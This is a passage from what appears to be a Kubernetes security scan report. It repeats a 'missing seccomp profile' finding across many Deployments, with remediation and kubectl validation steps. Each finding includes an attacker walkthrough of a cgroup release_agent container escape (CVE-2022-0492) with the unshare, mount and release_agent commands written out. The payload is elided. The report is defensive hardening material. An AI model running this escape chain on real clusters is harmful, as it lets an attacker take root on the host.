  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n cloud-eks-test <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/imds-pivot-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/cloud-eks-test/irsa-admin-app Workload 5.5
Container app runs without a seccomp profile in Deployment/cloud-eks-test/irsa-admin-app
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/irsa-admin-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n cloud-eks-test <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/irsa-admin-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-image Workload 5.5
Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-image
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n containersec-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/containersec-image -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-lifecycle Workload 5.5
Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-lifecycle
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-lifecycle either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n containersec-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/containersec-lifecycle -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-limits Workload 5.5
Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-limits
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-limits either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n containersec-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/containersec-limits -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-probes Workload 5.5
Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-probes
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-probes either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n containersec-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/containersec-probes -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/csr-fixtures/csr-mint-app Workload 5.5
Container app runs without a seccomp profile in Deployment/csr-fixtures/csr-mint-app
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Privilege Escalation Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-mint-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n csr-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/csr-mint-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/flat-network/unmatched Workload 5.5
Container app runs without a seccomp profile in Deployment/flat-network/unmatched
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Privilege Escalation Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in Deployment/flat-network/unmatched either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n flat-network <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/unmatched -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/ingress-only/ingress-app Workload 5.5
Container app runs without a seccomp profile in Deployment/ingress-only/ingress-app
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Privilege Escalation Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in Deployment/ingress-only/ingress-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n ingress-only <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/ingress-app -n ingress-only -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-narrow-app Workload 5.5
Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-narrow-app
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-narrow-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n lp-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/lp-narrow-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-orphan-app Workload 5.5
Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-orphan-app
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

